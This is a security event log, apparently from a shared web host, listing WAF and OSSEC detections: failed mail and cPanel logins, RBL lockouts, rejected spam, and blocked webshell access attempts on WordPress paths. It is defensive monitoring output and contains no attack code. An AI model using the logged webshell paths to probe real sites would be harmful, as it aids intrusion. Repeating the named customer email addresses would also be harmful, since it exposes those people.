domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/images/csr.php||SC:/home/indfinitydesign/public_html/img/photos/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.124.17.126
country_id: 6252001
description:
2026-01-16 20:22:12 dovecot_plain authenticator failed for H=([10.28.18.160]) [91.124.17.126]:6438: 535 Incorrect authentication data (set_id=muhdfauzan@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:22:58 H=([45.144.212.242]) [45.144.212.242]:53460 F=<no_reply@admin.com> rejected RCPT <marylinkoh@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.157
country_id: 933860
description:
Jan 16 20:23:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.245
country_id: 2300660
description:
Jan 16 20:24:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.157
country_id: 933860
description:
Jan 16 20:24:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.176.34.250
country_id: 3865483
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.124.17.126
country_id: 6252001
description:
2026-01-16 20:25:01 dovecot_login authenticator failed for H=([10.28.18.160]) [91.124.17.126]:6438: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.199.161.144
country_id: 6252001
description:
2026-01-16 20:30:39 dovecot_plain authenticator failed for H=c-73-199-161-144.hsd1.nj.comcast.net (werisbuous) [73.199.161.144]:45836: 535 Incorrect authentication data (set_id=webmaster@dps-comsec.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:30:22 H=([45.144.212.242]) [45.144.212.242]:62125 F=<no_reply@admin.com> rejected RCPT <meifoong@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.7.13.60
country_id: 2750405
description:
2026-01-16 20:30:35 dovecot_plain authenticator failed for H=60.13.7.34.bc.googleusercontent.com (hytric) [34.7.13.60]:49656: 535 Incorrect authentication data (set_id=lopee@inter-link.edu.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.7.13.60
country_id: 2750405
description:
Jan 16 20:30:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.7.13.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.199.161.144
country_id: 6252001
description:
Jan 16 20:30:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.199.161.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.73.179
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-30.142.111.73.179||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 135.129.124.13
country_id: 2328926
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/polyfill-php70/bootstrap.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.241.243.124
country_id: 1269750
description:
Jan 16 20:31:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.241.243.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.165.210
country_id: 3469034
description:
Jan 16 20:32:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.165.210 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.96.81.18
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:20-33.172.96.81.18||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.28.139.92
country_id: 1694008
description:
2026-01-16 20:33:49 dovecot_login authenticator failed for H=(urban.my) [120.28.139.92]:56844: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/new-development.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.45.148.239
country_id: 3895114
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/other3.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.47.17.205
country_id: 3895114
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=44841515043556 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.90.27
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/CONTRIBUTING.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.18
country_id: 3175395
description:
Jan 16 20:36:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.18
country_id: 3175395
description:
Jan 16 20:37:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.239
country_id: 3865483
description:
Jan 16 20:37:20 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.239 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:38:15 H=([45.144.212.242]) [45.144.212.242]:61340 F=<no_reply@admin.com> rejected RCPT <miko@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 149.22.87.8
country_id: 1861060
domain: saps.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 16.79.120.103
country_id: 1643084
description:
[2026-01-16 20:40:18 +0800] info [whostmgrd] 16.79.120.103 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.168.243.138
country_id: 1861060
description:
[2026-01-16 20:40:23 +0800] info [whostmgrd] 54.168.243.138 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.3.62.7
country_id: 6252001
description:
45.3.62.7 - - [16/Jan/2026:20:40:50 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328519&pdata=https%3A%2F%2Fmail.chs.com.my%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768567249 HTTP/1.1" 302 0 mail.chs.com.my "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.3.62.7


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.3.62.7
country_id: 6252001
description:
[2026-01-16 20:40:53 +0800] info [cpaneld] 45.3.62.7 - afcmalaysia "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afcmalaysia (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.130
country_id: 3469034
description:
Jan 16 20:44:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.121
country_id: 690791
description:
Jan 16 20:44:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.215.189
country_id: 298795
description:
Jan 16 20:44:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.215.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.130
country_id: 3469034
description:
Jan 16 20:44:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.130 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 45.156.128.167
country_id: 2264397
description:
Jan 16 20:45:05 sv3 pure-ftpd[1483559]: (?@45.156.128.167) [INFO] New connection from 45.156.128.167


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 20:48:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58095: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 92.112.83.79
country_id: 390903
domain: www.astlog.com.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 12; M2004J19C Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2022604030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/26.4.3 ByteLocale/ru-RU ByteFullLocale/ru-RU Region/US Spark/1.1.9.4-bugfix AppVersion/26.4.3 PIA/1.4.3 BytedanceWebview/d8a21c6||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 20:52:13 H=([45.144.212.242]) [45.144.212.242]:50900 F=<no_reply@admin.com> rejected RCPT <munch@nexuscollection.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.191.166.108
country_id: 1282988
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/tests/Mockery/Loader HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.88.11.243
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/tests/Mockery/Loader/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.71.72
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-00.142.111.71.72||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 21:01:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.108.22.143
country_id: 248816
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/try/9/543/977928 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.242.204.55
country_id: 3190538
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-01.209.242.204.55||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.105.138
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-02.166.0.105.138||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.165
country_id: 953987
description:
Jan 16 21:02:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.188
country_id: 2510769
description:
Jan 16 21:02:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 21:05:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.236.8.211
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=671968 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.27.118
country_id: 1269750
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/CHANGELOG.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.66.133
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/bin/build-vendor HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 21:09:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.41.18
country_id: 1269750
description:
Jan 16 21:11:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.41.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.41.18
country_id: 1269750
description:
2026-01-16 21:11:38 dovecot_login authenticator failed for H=([182.73.193.249]) [122.187.41.18]:53806: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.63
country_id: 719819
description:
Jan 16 21:12:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.195.91.44
country_id: 2661886
domain: mssa.org.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:21-12.194.195.91.44||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.19.206
country_id: 1269750
description:
Jan 16 21:12:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.19.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.63
country_id: 719819
description:
Jan 16 21:13:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.7.248.167
country_id: 1210997
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/supyogamalaysia-payment.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 21:16:15 H=([45.144.212.242]) [45.144.212.242]:60356 F=<no_reply@admin.com> rejected RCPT <nuratiqah@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.41.18
country_id: 1269750
description:
Jan 16 21:17:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.41.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.41.18
country_id: 1269750
description:
2026-01-16 21:17:43 dovecot_login authenticator failed for H=([182.73.193.249]) [122.187.41.18]:53364: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.137.36.74
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/tests/_samples HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.97.247.247
country_id: 290557
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/tests/_samples/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 21:24:38 H=([45.144.212.242]) [45.144.212.242]:65414 F=<no_reply@admin.com> rejected RCPT <ongkonaun@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 21:24:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 21:28:52 H=([45.144.212.242]) [45.144.212.242]:54578 F=<no_reply@admin.com> rejected RCPT <oscar@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.208.81.125
country_id: 6252001
description:
Jan 16 21:29:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.208.81.125 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.152.147
country_id: 1733045
description:
[2026-01-16 21:29:48 +0800] info [webmaild] 161.142.152.147 - felicia@nexuscollection.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.208.81.125
country_id: 6252001
description:
2026-01-16 21:29:37 dovecot_plain authenticator failed for H=c-73-208-81-125.hsd1.in.comcast.net (press) [73.208.81.125]:42102: 535 Incorrect authentication data (set_id=ptsawani@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.246.213.156
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=52251516695384 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.115.216.10
country_id: 3895114
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=150120 HTTP/1.1||RSV:7.64||T:APACHE||


